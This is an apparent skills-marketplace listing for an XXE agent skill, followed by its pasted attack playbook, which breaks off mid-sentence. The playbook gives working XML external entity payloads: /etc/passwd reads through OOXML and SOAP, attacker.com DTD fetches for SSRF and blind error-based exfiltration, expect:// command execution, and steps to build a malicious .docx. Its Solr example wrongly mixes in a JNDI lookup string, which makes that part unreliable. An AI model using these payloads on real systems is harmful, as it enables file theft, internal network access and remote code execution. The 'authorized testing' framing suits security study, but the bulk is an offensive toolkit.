
Xxe Xml External Entity
Learn and test XML External Entity (XXE) attack paths, real CVE chains, and document-based payloads when hardening or auditing parsers and upload flows.
Overview
xxe-xml-external-entity is an agent skill most often used in Ship (also Build integrations) that documents XXE exploitation scenarios, CVE case studies, and OOXML injection steps for authorized security testing.
Install
npx skills add https://github.com/yaklang/hack-skills --skill xxe-xml-external-entityWhat is this skill?
- CVE-2017-12629 Apache Solr XXE plus Velocity template RCE chain walkthrough
- Office OOXML step-by-step: unzip, inject DOCTYPE/entities, repackage malicious docx
- File-read and out-of-band callback patterns for document preview and import targets
- Companion depth scenarios extending the primary XXE SKILL.md
- Targets Config API XML, conversion services, and echoParams-style endpoints
- 6-step OOXML XXE repackage workflow in readme
- CVE-2017-12629 Solr XXE + RCE chain documented
Adoption & trust: 1.1k installs on skills.sh; 980 GitHub stars; 0/3 security scanners passed (skills.sh audits).
What problem does it solve?
You ship XML parsing, document upload, or config endpoints but lack structured XXE test cases and real-world exploit chains to validate parser hardening.
Who is it for?
Indie builders or consultants running authorized appsec reviews on Solr-like APIs, OOXML imports, or legacy XML stacks before launch.
Skip if: Unauthorized scanning of third-party sites, production attacks without scope, or teams that only need generic OWASP one-liners with no XML surface.
When should I use this skill?
Authorized security review of XML parsers, office document imports, or search/config APIs where external entities might be enabled.
What do I get? / Deliverables
Your agent proposes concrete XXE probes, file-read payloads, and documented CVE-style chains you can trace in authorized audits and remediation tickets.
- XXE test case list
- Repro steps for OOXML or API payloads
- Remediation notes for disabling external entities
Recommended Skills
Journey fit
Spans multiple journey phases - primary shelf plus alternate fits below.
XXE validation belongs on the ship shelf because it targets pre-release security review of XML parsers, config APIs, and file-import surfaces before production exposure. Security subphase is the canonical home for vulnerability classes like XXE, distinct from functional testing or performance work.
Where it fits
Design a document import API and enumerate XXE risks in OOXML extraction before coding the parser wrapper.
Run structured XXE checks against staging upload and Solr-like config endpoints before go-live.
Triage odd outbound callbacks from a conversion worker by matching behavior to documented XXE OOB patterns.
How it compares
Use as a focused XXE playbook companion, not as a general MCP scanner or passive dependency audit tool.
Common Questions / FAQ
Who is xxe-xml-external-entity for?
Solo builders, security-minded developers, and small red-team-style reviewers who need agent-guided XXE scenarios when XML or office documents are parsed server-side.
When should I use xxe-xml-external-entity?
During Ship security review on APIs with XML bodies or Config APIs; during Build when designing document import; during Operate when investigating suspected parser misconfigurations after an incident report.
Is xxe-xml-external-entity safe to install?
The skill is educational exploit documentation—use only on systems you are authorized to test. Review the Security Audits panel on this Prism page before trusting the package in your agent environment.
SKILL.md
READMESKILL.md - Xxe Xml External Entity
# XXE — Extended Scenarios & Real-World Cases > Companion to [SKILL.md](./SKILL.md). Contains additional CVE case studies and exploitation techniques. --- ## 1. CVE Case: Apache Solr XXE + RCE (CVE-2017-12629) Apache Solr's Config API accepts XML with external entity processing enabled, and the Velocity Response Writer allows template injection: **XXE for file read**: ``` GET /solr/CORE/select?q=xxx&wt=xml&defType=edismax&echoParams=all&fl=id,name&sort=${jndi:ldap://attacker/x} ``` **Combined XXE + RCE chain**: 1. Use XXE to read Solr configuration and identify available cores 2. Use Config API to register a new VelocityResponseWriter with `solr.resource.loader.enabled=true` 3. Execute Velocity template with `Runtime.exec()` --- ## 2. Office Document XXE — Step-by-Step OOXML files (`.docx`, `.xlsx`, `.pptx`) are ZIP archives containing XML: ```bash # Step 1: Create a legitimate .docx # Step 2: Extract mkdir extracted && cd extracted unzip ../document.docx # Step 3: Inject XXE into word/document.xml # Add after <?xml version="1.0"...?>: # <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]> # Then replace a text element with &xxe; # Step 4: Also try [Content_Types].xml: # <!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://attacker.com/notify">]> # Step 5: Repackage zip -r ../malicious.docx . # Step 6: Upload to target application # If the app parses the XML → XXE triggers ``` **Common targets**: document preview, import functionality, file conversion services. --- ## 3. DOCTYPE-Based SSRF Even when the application doesn't reflect entity values, `DOCTYPE` with `PUBLIC` or `SYSTEM` triggers an HTTP request: ```xml <!DOCTYPE foo PUBLIC "-//attacker//DTD//EN" "http://attacker.com/notify"> <root>normal content</root> ``` The XML parser fetches the DTD from `attacker.com` — confirms SSRF even without entity reflection. --- ## 4. PHP expect:// Protocol via XXE When PHP's `expect` extension is installed: ```xml <!DOCTYPE foo [<!ENTITY xxe SYSTEM "expect://id">]> <root>&xxe;</root> ``` The `expect://` wrapper executes the command and returns output. Rare but devastating when available. **Check availability**: `phpinfo()` → look for "expect" in loaded extensions. --- ## 5. XXE in SOAP Web Services SOAP endpoints parse XML by design — always test for XXE: ```xml <?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body> <getUser><id>&xxe;</id></getUser> </soap:Body> </soap:Envelope> ``` Also test the `SOAPAction` header and WSDL import endpoints. --- ## 6. Blind XXE via Error Messages When OOB HTTP exfiltration is blocked, use error-based exfiltration: ```xml <!-- Hosted at attacker.com/error.dtd: --> <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error; ``` The parser tries to open `file:///nonexistent/root:x:0:0:...` → error message contains file contents. --- name: xxe-xml-external-entity description: >- XXE playbook. Use when XML, SVG, OOXML, SOAP, or parser-driven imports may resolve external entities, files, or internal network resources. --- # SKILL: XML External Entity Injection (XXE) — Expert Attack Playbook > **AI LOAD INSTRUCTION**: Expert XXE techniques. Covers all injection contexts (SOAP, REST JSON→XML parsers, Office files, SVG), OOB exfiltration (critical when direct read fails), blind XXE detection, and XXE-to-SSRF chain. Base models often miss OOB and non-XML context XXE. For real-world CVE chains, Office docx XXE step-by-step, PHP expect:// RCE, and Solr XXE+RCE, load the companion [SCENARIOS.md](./SCENARIOS.md). ## 0. RELATED ROUTING Also load: - [upload insecure files](../upload-insecure-files/SKILL.md) when XXE is reachable through SVG, OOXML, import, or preview pipelines ### Extended Scenarios Also load [SCENARIOS.md](./SCENARIOS.md) when you need: - Apache Solr XXE + RCE ch